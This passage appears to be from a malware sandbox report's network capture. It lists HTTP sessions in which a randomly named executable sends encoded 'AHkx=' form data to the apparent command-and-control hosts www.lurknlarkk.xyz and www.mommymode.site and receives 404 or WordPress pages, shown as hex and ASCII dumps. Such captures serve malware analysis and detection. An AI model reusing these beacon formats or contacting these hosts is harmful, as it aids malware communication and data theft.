AHkx=u/VSG/tzp2C4Mx4KbcaxkblWuka0b0IEyMvSBuOgUd1gaom9baiBwu9E/kVT0IBss0N3CoywdI9X/8q6KybG/vsG2UwLhmeFo8W4KcgEyut2+0WpZ9XnV4BmUN4+VIH1kPxxHqfMhf1SYhu7EIGNPLhIruqPcTtzkuqrhl2ik+dap2+CRxeMzN3FRjqWlARO+NN6MseaNBxhgAEjXh3I2m4=
Oct 9, 2024 14:21:43.768826962 CEST	195	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 09 Oct 2024 12:21:43 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49658	172.191.244.62	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:45.783410072 CEST	10827	OUT	POST /jqkr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.lurknlarkk.xyz Origin: http://www.lurknlarkk.xyz Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Referer: http://www.lurknlarkk.xyz/jqkr/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 75 2f 56 53 47 2f 74 7a 70 32 43 34 4d 78 34 4b 62 63 61 78 6b 62 6c 57 75 6b 61 30 62 30 49 45 79 4d 76 53 42 75 4f 67 55 64 74 67 61 2b 36 39 61 39 57 42 78 75 39 45 31 45 56 53 30 49 42 4c 73 30 46 7a 43 6f 76 53 64 4b 56 58 2b 65 69 36 64 7a 62 47 78 76 73 47 72 45 77 4b 73 47 66 66 6f 38 47 30 4b 63 51 45 79 75 74 32 2b 33 65 70 65 6f 37 6e 54 34 42 6e 64 74 35 73 52 49 48 64 6b 50 35 68 48 71 54 63 67 76 56 53 5a 42 65 37 43 39 53 4e 45 4c 68 4f 6e 4f 71 58 63 54 51 74 6b 74 4f 6e 68 6c 44 33 6b 2b 35 61 71 77 58 62 44 78 4f 46 77 2b 2f 6c 44 6b 7a 77 6a 78 68 39 36 36 5a 34 41 76 4c 41 62 7a 4e 6f 69 43 4e 79 42 69 62 71 69 51 66 77 30 57 4a 6c 78 77 56 67 62 79 69 34 43 45 7a 72 4d 38 32 6c 74 54 44 6e 69 58 7a 48 31 57 61 33 6f 67 44 61 51 73 50 31 34 4a 41 74 57 50 33 57 62 77 75 63 51 68 70 7a 7a 34 71 79 57 4d 34 6f 42 56 50 6e 57 4b 35 33 4c 67 6d 4d 70 77 2f 31 2f 44 7a 67 64 46 43 2f 65 63 53 52 37 70 69 52 5a 59 48 67 6d 2b 66 31 57 4a 48 71 54 39 58 2b 77 4e 78 39 73 [TRUNCATED] Data Ascii: AHkx=u/VSG/tzp2C4Mx4KbcaxkblWuka0b0IEyMvSBuOgUdtga+69a9WBxu9E1EVS0IBLs0FzCovSdKVX+ei6dzbGxvsGrEwKsGffo8G0KcQEyut2+3epeo7nT4Bndt5sRIHdkP5hHqTcgvVSZBe7C9SNELhOnOqXcTQtktOnhlD3k+5aqwXbDxOFw+/lDkzwjxh966Z4AvLAbzNoiCNyBibqiQfw0WJlxwVgbyi4CEzrM82ltTDniXzH1Wa3ogDaQsP14JAtWP3WbwucQhpzz4qyWM4oBVPnWK53LgmMpw/1/DzgdFC/ecSR7piRZYHgm+f1WJHqT9X+wNx9s1xvk63j49ozHKH6MltsNzu+AC9nSvjmtcVhnrcGC1C3ktuyB72FCfZnfRvSyPhvR/pJtfhpiGrLdec6QWqtud/qI/QwIPy+AjzpuyTWbgfqiaUeJnjuLvsKUWkunDJT3u6W0UryUQLaYhQIFo3oc0c23/SeTe3Nkg9oE+3Py4et+iWeu3jFsYkRS7fQSKOkzjLREfEYqvKKc1PnKNx6+DIzwd3YJZlkc38gZ5DUxhybLTgZb49LEddlfrGf1LmO/LZCls1ZuDKTcuoRj3p2puHWjPbAeIfCjG0vpya8uOsgCnzq6nzUAHPDUQGvbcynIrwNEhCC3tnHnayCBCJCTeCkbC571OHnhjQApt6qXymPfOV/7ggPgQ3YUDDnicU7EaMN4V4L3O/58MsJTPen5DNIwtKcepklt03AWJlM/qWXQK501Z48FiUI4bT3aIte8hxDodumDjH81MNFFOH1UVan2DM9VjE5BsMEoQepeyP2RKV7POtwL8e9fQCuK0W9LZFPif7Hq6xJkxz1NXFPAYPCzEXoFvL7sLg7G9Cmcjmtu63K2bZku4v4lPI0Me/ui79pBTOzSNJ5jSjjHGopASVDFK5olk3QJE9/jkJ5AxFT/G0fDgrSFWO/zebNBucISifKZaAHXjScYO3/bNBuQvO1ZOZc5jkXoSm [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49659	172.191.244.62	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:48.327440977 CEST	464	OUT	GET /jqkr/?AHkx=j99yFPFWu1ukFCAnSMaPoqYJsGaKTyAIw9CibMKFTP9vYaGLd9Ca8ZMxvCgy8ZIQlD5WNv+rF4xM8fWyLzqu+KoA1mYPwgzWoJCMPt1Uicxvw1jTfpaTUc0=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.lurknlarkk.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:21:48.798146963 CEST	195	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 09 Oct 2024 12:21:48 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49660	162.241.244.106	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:53.970863104 CEST	725	OUT	POST /hya5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.mommymode.site Origin: http://www.mommymode.site Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Referer: http://www.mommymode.site/hya5/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 70 44 67 47 65 44 73 38 59 6c 37 6e 48 43 32 6a 65 59 30 52 44 5a 59 42 6f 2b 64 36 4b 53 30 72 43 58 77 45 30 75 6a 59 50 6b 72 4c 54 70 47 73 5a 4e 30 72 33 5a 31 4f 68 4a 75 6a 4a 35 62 44 2b 73 32 2f 43 65 64 68 55 48 6b 6f 59 58 56 32 71 44 33 64 62 6e 69 42 5a 6c 36 65 53 49 59 61 51 65 62 77 70 66 36 61 78 74 64 6b 5a 7a 2b 31 68 75 34 74 71 73 55 65 77 52 62 4e 39 34 4d 31 45 39 2b 58 50 61 67 6a 5a 51 6c 55 71 77 32 53 76 38 78 39 53 47 6a 52 70 66 7a 38 39 35 45 51 35 35 57 38 41 2b 4c 71 72 66 4a 67 78 66 30 45 63 78 6e 39 4c 67 4d 73 72 78 43 58 2b 36 72 34 47 77 3d 3d Data Ascii: AHkx=pDgGeDs8Yl7nHC2jeY0RDZYBo+d6KS0rCXwE0ujYPkrLTpGsZN0r3Z1OhJujJ5bD+s2/CedhUHkoYXV2qD3dbniBZl6eSIYaQebwpf6axtdkZz+1hu4tqsUewRbN94M1E9+XPagjZQlUqw2Sv8x9SGjRpfz895EQ55W8A+LqrfJgxf0Ecxn9LgMsrxCX+6r4Gw==
Oct 9, 2024 14:21:54.748464108 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:21:54 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://mommymode.site/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 12947 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cd b2 eb 72 e3 c6 92 2d fc db 7a 8a 6a 76 d8 22 6d 16 78 a7 24 48 94 67 b6 2f e7 78 62 7b db e1 b6 67 62 c2 ed e8 28 02 09 a0 5a 85 2a ec aa 02 29 36 47 bf ce 53 9c 5f e7 15 bf 47 f8 b2 00 90 a2 28 50 54 eb ba db 16 01 54 65 ae 5c b9 d6 3a 7b f3 fd 2f df fd fe df bf fe 40 12 9b 8a f3 83 33 f7 20 82 c9 78 d2 00 49 ff 78 d7 70 67 c0 c2 f3 83 2f ce 52 b0 8c 04 09 d3 06 ec a4 f1 c7 ef 3f d2 e3 06 e9 ac 6f 24 4b 61 d2 98 71 98 67 4a db 06 09 94 b4 20 b1 72 ce 43 9b 4c 42 98 f1 00 68 f1 d1 26 5c 72 cb 99 a0 26 60 02 26 bd 02 67 03 e6 50 ab a9 b2 e6 70 0d 72 98 b2 4b ca 53 16 03 cd 34 b8 21 be 60 3a 86 c3 a2 d1 72 2b e0 fc 57 bc 25 52 59 12 a9 5c 86 e4 ab b7 c7 fd 5e ef 94 fc 4d 09 fc 60 69 76 4a 7e d5 60 ed 82 fc c2 0c 37 67 9d b2 eb e0 4c 70 79 41 34 88 c9 61 28 8d 83 8f c0 06 c9 21 49 f0 6d 72 d8 e9 a4 2a 4d 17 a9 0a c1 33 dc 56 13 d7 3d 0d 26 2c 68 c9 2c 34 88 5d 64 a8 00 cb 32 c1 03 66 b9 92 1d 6d cc 37 97 a9 c0 2b 37 6b d2 d8 c1 85 7c a5 d9 3f 73 75 4a 7e 04 08 1b e5 e0 [TRUNCATED] Data Ascii: r-zjv"mx$Hg/xb{gb(Z)6GS_G(PTTe\:{/@3 xIxpg/R?o$KaqgJ rCLBh&\r&`&gPprKS4!`:r+W%RY\^M`ivJ~`7gLpyA4a(!ImrM3V=&,h,4]d2fm7+7k\|?suJ~FbmfK:$D}U&-h9{#ecEww7w{S4F^/;v.-{acJ@\|s*4e3Jm~SyFDQMqP4Qp_/ho\]t~C~OP dU4(1MTtuN&V/;;Y<)~S\|-oDDcUpj_7-B)Z8Q/Uofm73N&8-<dbyuZ.X]kh#'g#rgB,l
Oct 9, 2024 14:21:54.748496056 CEST	1236	IN	Data Raw: 08 4e b2 e0 d4 7e 2a 36 ad 53 0d 36 d7 92 58 0f 30 04 8b e6 da 57 94 af b5 ac 2e 61 32 99 e8 3f ed 5f 57 ad 6b 81 f3 95 c0 66 ce 9d fc 58 1d 60 a2 1a 91 60 71 c3 af 1a 1d 4c e3 7d 1e 1e 0f 02 fc 8d a2 c1 fb 3c 82 6e f4 3e ef 77 bb 21 fe 8e d9 51 Data Ascii: N~*6S6X0W.a2?_WkfX``qL}<n>w!QyY6QMs6}Ul6!N]G;mm2\(:::88uZXWllx7m\MUv=Z>cI#!D\Bx3TDKK)W_X&o]"
Oct 9, 2024 14:21:54.748513937 CEST	448	IN	Data Raw: 4d 55 08 7f 55 8e ac ee 30 94 96 07 4c 50 a1 ff 6a b5 6f e3 68 1e 27 9f 07 a4 85 03 ea 3f 11 a1 5b 38 0f 25 34 78 22 42 b7 70 1e 4a 68 f8 44 84 6e e1 3c 94 d0 e8 89 08 dd c2 79 28 a1 f1 13 11 ba 85 f3 30 42 4b ad 2c b3 e0 f7 8e bb 21 c4 57 07 67 Data Ascii: MUU0LPjoh'?[8%4x"BpJhDn<y(0BK,!WgxN\ik%K%jR&DAg)iF^{q.Uxe6ou!*\|lTqm,k-e$BZ}m]~=-vMoo\|\|".};.^X
Oct 9, 2024 14:21:54.748573065 CEST	1236	IN	Data Raw: 81 5d 54 d1 bd da d5 5b ec c6 03 04 d9 0c 73 77 67 3d 31 b3 78 59 55 95 f1 38 4d 71 74 75 d2 1f e2 70 f7 3d e7 a1 4d ca cf f2 b5 aa 8d b8 10 7e 90 6b 0d d2 7e e7 e2 71 ba 76 ac f0 d6 2f 6c 9e 2a 1c b5 ce db 2e 2a ad e5 14 d7 04 ed f7 b2 4b 62 94 Data Ascii: ]T[swg=1xYU8Mqtup=M~k~qv/l.Kb!y1;5jv@/Cn2~$,x+jPD8MeYW)%\f]6bK8Wr.P}Q@ir%\b4S2io%8UR,TM&{r'Q
Oct 9, 2024 14:21:54.748594999 CEST	1236	IN	Data Raw: 67 3c c4 4a 00 49 83 05 c3 d8 a9 ea ac f8 9a 8a 1c 1c 4e c8 0b ed d7 54 37 58 fb 82 4b 60 7a 5d d5 c4 60 86 10 b7 31 d2 61 f7 78 88 cf f1 c9 00 06 ad cd a9 59 ae 33 81 e1 d6 b9 49 1e 0a 3f 18 42 1f 10 7e 78 d4 ef 45 53 32 ea 7e d9 7e cb a6 bd 30 Data Ascii: g<JINT7XK`z]`1axY3I?B~xES2~~011]n`\|x%2E,bkQ>*,}0\|0NnK(0n<>(=e##xAZaA5}o)u33J3,
Oct 9, 2024 14:21:54.748610973 CEST	1236	IN	Data Raw: 5a 29 bb bc 39 80 99 0c 02 4b 35 b3 5c e1 9c 7f e6 4c a3 a3 bd d3 bb aa 86 74 e0 93 61 67 70 67 d1 80 0e 7d 32 e8 0c f7 14 f5 5d 51 ff ce a2 be 1b d7 df 33 ae 37 a6 27 c8 7b dc 39 b9 b3 ec 04 0b 7d 72 d2 e9 8d 4f 6b 85 9e 0a 16 5c f8 85 c8 f8 af Data Ascii: Z)9K5\Ltagpg}2]Q37'{9}rOk\&X0975C8&XnQQ&chng<B>N)7UL%zX:Z'5X~4.7{MQVb;.d;<)\gLG=}JZ
Oct 9, 2024 14:21:54.748764038 CEST	1236	IN	Data Raw: 1b e2 0e 4a 4f 7f d5 77 f2 4a 71 47 3e 07 66 13 d0 b8 f5 c6 d7 5d 5d 99 ca 32 2e 8d 4f 7e 2d 5f ee 64 c7 2c 37 91 5b bd 7c b9 ab 36 52 3a 4f 7d f2 a3 7b dc 55 a7 cc 9c 89 d0 27 bf 14 cf 3b 99 0a b6 88 18 c7 dd 7e ad de c8 f7 dc b8 d3 bb ba b8 b4 Data Ascii: JOwJqG>f]]2.O~-_d,7[\|6R:O}{U';~NOhBZt=L.cJ]Y4m07fV_Nx5XCTVP^FPPM;j*P$jPr]%GirbQk78
Oct 9, 2024 14:21:54.748780012 CEST	1236	IN	Data Raw: 49 1f ff 06 f8 37 c4 bf 11 fe 8d ef 2f c1 e7 84 31 13 6c 11 31 ae ef 67 d7 ed 6d da c4 9d 4d 85 0a 2e aa 93 0f 1f 50 9a 8b d6 72 ca 82 8b 58 2b 14 8b de 9b f9 54 69 94 96 6a 16 f2 dc 6c 36 a0 11 98 5a 5a 8d a0 37 ea d6 6d 73 1e da 04 73 bc fa 36 Data Ascii: I7/1l1gmM.PrX+Tijl6ZZ7mss6v!'F0e<4T]RjR&D1''nE&4caeL7tY<<U ZU>@2ruR5sZq<Hav+n_,N2fp4(/'fJ[&m,
Oct 9, 2024 14:21:54.748795986 CEST	1236	IN	Data Raw: 4c f2 07 ad ed da ea 92 b3 30 16 2a a7 23 96 72 b1 58 6e bc ef c4 2c af 69 d5 5e 87 0b 9a 47 0f 87 75 dd 75 b9 54 52 99 8c 05 f0 60 e4 35 42 1d 7a 2e b8 49 1e 0e 5d b4 d7 e0 6a 26 60 ce 16 0f 06 ae fa eb 90 d5 54 59 45 8d 60 d3 87 a3 5f 63 d4 4c Data Ascii: L0*#rXn,i^GuuTR`5Bz.I]j&`TYE`_cL}0kw=_F.2cl,kpQ%kZ&v?\-:g>fvfF#Wu:1MH<}0n]e{-"Kh5s]tD=Rs 4=l
Oct 9, 2024 14:21:54.748812914 CEST	1236	IN	Data Raw: ba 61 e4 2d 03 1e 60 e4 93 a4 d1 60 a1 ba e0 80 6f 5e f9 76 33 83 3d 6f b8 9d c1 55 cb 23 e2 77 cd e5 56 f6 ae af 9e 2f 78 cf 9f 80 8d eb 5d 09 b8 a1 c1 e7 08 29 b8 bc 20 1a 44 c9 d6 20 5d 96 71 6f ee 29 1d 77 1a 24 d1 10 5d df dc 5e e4 a3 51 12 Data Ascii: a-``o^v3=oU#wV/x]) D ]qo)w$]^Q:8?ObL,XMe*[w~Y,#M44KW7QUJVLJ3cM3<4fB^,X'=I{JPCwBFP&
Oct 9, 2024 14:21:54.753530979 CEST	1236	IN	Data Raw: 94 34 7c 06 a4 08 15 dd c8 14 d9 60 44 73 03 86 4e 85 0a 2e 68 51 78 e3 72 e3 9c 26 0c eb 72 6b 95 2c 65 33 37 2a a5 a2 1f 6f 9e b0 c0 e2 f4 86 a3 1a f2 d9 8a 29 12 74 3a 95 c8 a6 71 7e 96 32 2e 37 2e cb 89 b1 56 79 46 30 cd b1 8c 72 21 08 37 98 Data Ascii: 4\|`DsN.hQxr&rk,e37*o)t:q~2.7.VyF0r!7}rZ[('w.&<ANVd<;\|qWENDi.Q\2qfw<8.d{#)4P<g-5zVHu8!/24cTf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49661	162.241.244.106	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:56.519336939 CEST	745	OUT	POST /hya5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.mommymode.site Origin: http://www.mommymode.site Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Referer: http://www.mommymode.site/hya5/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 70 44 67 47 65 44 73 38 59 6c 37 6e 47 69 47 6a 64 37 63 52 49 5a 59 43 6b 65 64 36 45 79 30 76 43 58 38 45 30 71 37 32 50 58 50 4c 53 4d 69 73 65 4d 30 72 79 5a 31 4f 31 35 75 6d 45 5a 61 75 2b 73 71 33 43 66 78 68 55 48 77 6f 59 56 64 32 71 55 6a 63 61 33 69 66 4d 31 36 63 57 49 59 61 51 65 62 77 70 66 75 77 78 74 56 6b 5a 6a 4f 31 69 4c 4d 71 30 38 55 66 6d 42 62 4e 35 34 4d 78 45 39 2f 77 50 62 39 4f 5a 53 64 55 71 30 79 53 76 4f 5a 2b 63 47 69 61 6d 2f 7a 72 74 72 35 72 67 4a 75 78 4f 63 36 4f 72 38 31 42 77 5a 6c 65 4e 41 47 71 5a 67 6f 66 32 32 4c 6a 7a 35 57 78 64 35 65 47 49 6b 2b 73 71 65 2b 47 64 36 41 35 77 71 37 5a 59 36 67 3d Data Ascii: AHkx=pDgGeDs8Yl7nGiGjd7cRIZYCked6Ey0vCX8E0q72PXPLSMiseM0ryZ1O15umEZau+sq3CfxhUHwoYVd2qUjca3ifM16cWIYaQebwpfuwxtVkZjO1iLMq08UfmBbN54MxE9/wPb9OZSdUq0ySvOZ+cGiam/zrtr5rgJuxOc6Or81BwZleNAGqZgof22Ljz5Wxd5eGIk+sqe+Gd6A5wq7ZY6g=
Oct 9, 2024 14:21:57.326114893 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:21:57 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://mommymode.site/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 12947 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cd b2 eb 72 e3 c6 92 2d fc db 7a 8a 6a 76 d8 22 6d 16 78 a7 24 48 94 67 b6 2f e7 78 62 7b db e1 b6 67 62 c2 ed e8 28 02 09 a0 5a 85 2a ec aa 02 29 36 47 bf ce 53 9c 5f e7 15 bf 47 f8 b2 00 90 a2 28 50 54 eb ba db 16 01 54 65 ae 5c b9 d6 3a 7b f3 fd 2f df fd fe df bf fe 40 12 9b 8a f3 83 33 f7 20 82 c9 78 d2 00 49 ff 78 d7 70 67 c0 c2 f3 83 2f ce 52 b0 8c 04 09 d3 06 ec a4 f1 c7 ef 3f d2 e3 06 e9 ac 6f 24 4b 61 d2 98 71 98 67 4a db 06 09 94 b4 20 b1 72 ce 43 9b 4c 42 98 f1 00 68 f1 d1 26 5c 72 cb 99 a0 26 60 02 26 bd 02 67 03 e6 50 ab a9 b2 e6 70 0d 72 98 b2 4b ca 53 16 03 cd 34 b8 21 be 60 3a 86 c3 a2 d1 72 2b e0 fc 57 bc 25 52 59 12 a9 5c 86 e4 ab b7 c7 fd 5e ef 94 fc 4d 09 fc 60 69 76 4a 7e d5 60 ed 82 fc c2 0c 37 67 9d b2 eb e0 4c 70 79 41 34 88 c9 61 28 8d 83 8f c0 06 c9 21 49 f0 6d 72 d8 e9 a4 2a 4d 17 a9 0a c1 33 dc 56 13 d7 3d 0d 26 2c 68 c9 2c 34 88 5d 64 a8 00 cb 32 c1 03 66 b9 92 1d 6d cc 37 97 a9 c0 2b 37 6b d2 d8 c1 85 7c a5 d9 3f 73 75 4a 7e 04 08 1b e5 e0 [TRUNCATED] Data Ascii: r-zjv"mx$Hg/xb{gb(Z)6GS_G(PTTe\:{/@3 xIxpg/R?o$KaqgJ rCLBh&\r&`&gPprKS4!`:r+W%RY\^M`ivJ~`7gLpyA4a(!ImrM3V=&,h,4]d2fm7+7k\|?suJ~FbmfK:$D}U&-h9{#ecEww7w{S4F^/;v.-{acJ@\|s*4e3Jm~SyFDQMqP4Qp_/ho\]t~C~OP dU4(1MTtuN&V/;;Y<)~S\|-oDDcUpj_7-B)Z8Q/Uofm73N&8-<dbyuZ.X]kh#'g#rgB,l
Oct 9, 2024 14:21:57.326128960 CEST	1236	IN	Data Raw: 08 4e b2 e0 d4 7e 2a 36 ad 53 0d 36 d7 92 58 0f 30 04 8b e6 da 57 94 af b5 ac 2e 61 32 99 e8 3f ed 5f 57 ad 6b 81 f3 95 c0 66 ce 9d fc 58 1d 60 a2 1a 91 60 71 c3 af 1a 1d 4c e3 7d 1e 1e 0f 02 fc 8d a2 c1 fb 3c 82 6e f4 3e ef 77 bb 21 fe 8e d9 51 Data Ascii: N~*6S6X0W.a2?_WkfX``qL}<n>w!QyY6QMs6}Ul6!N]G;mm2\(:::88uZXWllx7m\MUv=Z>cI#!D\Bx3TDKK)W_X&o]"
Oct 9, 2024 14:21:57.326143026 CEST	1236	IN	Data Raw: 4d 55 08 7f 55 8e ac ee 30 94 96 07 4c 50 a1 ff 6a b5 6f e3 68 1e 27 9f 07 a4 85 03 ea 3f 11 a1 5b 38 0f 25 34 78 22 42 b7 70 1e 4a 68 f8 44 84 6e e1 3c 94 d0 e8 89 08 dd c2 79 28 a1 f1 13 11 ba 85 f3 30 42 4b ad 2c b3 e0 f7 8e bb 21 c4 57 07 67 Data Ascii: MUU0LPjoh'?[8%4x"BpJhDn<y(0BK,!WgxN\ik%K%jR&DAg)iF^{q.Uxe6ou!*\|lTqm,k-e$BZ}m]~=-vMoo\|\|".};.^X
Oct 9, 2024 14:21:57.326210022 CEST	1236	IN	Data Raw: c4 da cc ef 74 52 95 a6 8b 54 85 e0 e1 a6 d0 41 7e 28 80 c5 ac 77 8a 2d 4c 67 03 b6 c3 8c 01 6b 3a 88 d2 d9 31 c1 4b b9 f4 f0 fe db 19 e8 49 cf eb 7a dd 43 92 42 c8 d9 e4 90 09 71 48 3a db ba 41 aa 3e 72 5a ee 72 53 b2 83 2f 78 1a 3b c1 4c ca 05 Data Ascii: tRTA~(w-Lgk:1KIzCBqH:A>rZrS/x;L,}dy!7Ziem<"U$a^'eIy3M.Rc.}%kv)eq'O5,jRb!U5PBim{Li5:v?lB/0OYoo{
Oct 9, 2024 14:21:57.326221943 CEST	1236	IN	Data Raw: 76 37 bb 6c 5d fd 5b 0a 21 67 c4 04 1a 40 12 26 43 d2 bc a6 3b ee ba 9a e5 53 51 42 b0 ab ab 83 b3 4e 21 e5 f9 c1 99 e0 f2 82 68 10 93 c3 e2 c4 24 00 f6 90 f0 70 72 28 a3 90 ce 95 2c ec 13 2a b8 30 34 b7 5c 20 18 18 1a 18 73 48 12 0d d1 e4 30 b1 Data Ascii: v7l][!g@&C;SQBN!h$pr(,*04\ sH06;T"U!x8:%PLLE2,:i0DqHGJTq4`'"xIzCRh99dB.Xw!.Q(:?p&Y:,@\|\|upJQ@;4S/\|
Oct 9, 2024 14:21:57.326234102 CEST	1236	IN	Data Raw: 76 73 de b2 61 b7 3b 1c d6 e2 47 0a b1 0d ff 04 94 9a 94 09 e1 93 40 b0 34 6b f6 34 20 88 fb 25 df 90 66 b3 37 9b 13 4a ba 5e 1f 0f 5a e4 6b 7c eb 1e 8f 5b 58 80 4f 77 b4 1b 35 85 90 e7 e9 1a d6 1b 94 c0 c5 73 07 74 bf 57 42 8f ee 46 16 4c c7 b0 Data Ascii: vsa;G@4k4 %f7J^Zk\|[XOw5stWBFLV;Ghh7hC>JwzVWwK.b21JMk)^oE?>:F.\,0yc3BY>t_wnXF7IW_.1HIcKc2B,
Oct 9, 2024 14:21:57.326246977 CEST	1236	IN	Data Raw: 9f 05 3f 6b 1c c6 ce 58 cd b8 84 f0 b1 ab 6f 43 3d 54 81 2d 9c 17 12 22 12 70 d9 5a de 3b 45 3b 71 62 cd c3 cf c1 d9 b2 1e 17 f6 98 e0 b1 14 10 d9 25 9e 30 5c d6 bd af b6 e1 52 a0 32 d7 76 dc 3c 2e b6 ec 43 ba 1b 57 f3 38 59 03 17 1f f5 c8 0e a4 Data Ascii: ?kXoC=T-"pZ;E;qb%0\R2v<.CW8Y9iAr}rfJ[&oS?4uS*TyVk<r!Z-sI<fb]4jqu,3ZD^\aEjK\dZv?tY{ZLBj\|RuM6UX
Oct 9, 2024 14:21:57.326316118 CEST	1000	IN	Data Raw: a5 53 04 7f 82 81 05 50 dd 3c 1e 27 16 43 00 20 ab 58 3c 64 d6 16 c8 4e 8f 1e 39 67 1b 64 57 ca 56 f9 7e 98 55 37 21 76 ee f2 b8 21 5b 18 3b a7 64 b9 ce c4 63 46 94 00 35 f8 53 66 1e 86 eb 1a 6b f0 02 25 ad 66 c6 3e 08 73 d5 5c e7 a8 e6 29 d3 8b Data Ascii: SP<'C X<dN9gdWV~U7!v![;dcF5Sfk%f>s\)YYCq5^5&V4II('YnL)q9i`NE(u&`~]F8 uc(g@<R+X:uQJ3?Nih
Oct 9, 2024 14:21:57.326405048 CEST	1236	IN	Data Raw: 49 7f 80 3f bd 61 d5 53 1f ac e2 46 65 d7 d0 95 aa eb c1 9f 30 49 21 5c 22 64 d7 fd 2b 95 bc 0e a3 93 12 43 22 26 87 c5 89 49 00 ec 61 19 4e a5 02 95 a6 a0 03 a0 b8 b0 ca 6d 11 46 92 68 88 26 87 89 b5 99 df e9 a4 58 b1 48 55 08 1e ba 0d 1d 0c 74 Data Ascii: I?aSFe0I!\"d+C"&IaNmFh&XHUtbL093F[xCBqH:fjPJQEnYI ea2$]qvbxuFPM Rz>[MG( )/jN<,>_8%Wgb"-
Oct 9, 2024 14:21:57.326416016 CEST	1236	IN	Data Raw: 97 30 19 33 f2 8b 84 c6 9e a5 86 2f b0 54 50 b0 a1 4a 02 2e 76 5c 2d a6 21 ce 05 d3 4f b7 1c b7 4c f0 e0 5f 63 b9 92 cb 03 76 7b a7 72 1d 00 79 c7 a4 21 bf 6a b5 cf bd fe 8b 44 d2 51 a2 06 29 d1 4c 2b 3a eb f7 aa 2d fb 0f ca e6 5d 2b d6 78 f8 ea Data Ascii: 03/TPJ.v\-!OL_cv{ry!jDQ)L+:-]+x+W]t^/Uu\|)3%N~#_}U=z/_}U=y/_}z3hpcvL7[-8xVuW{8L?wzg5uW{N^oguW{w,
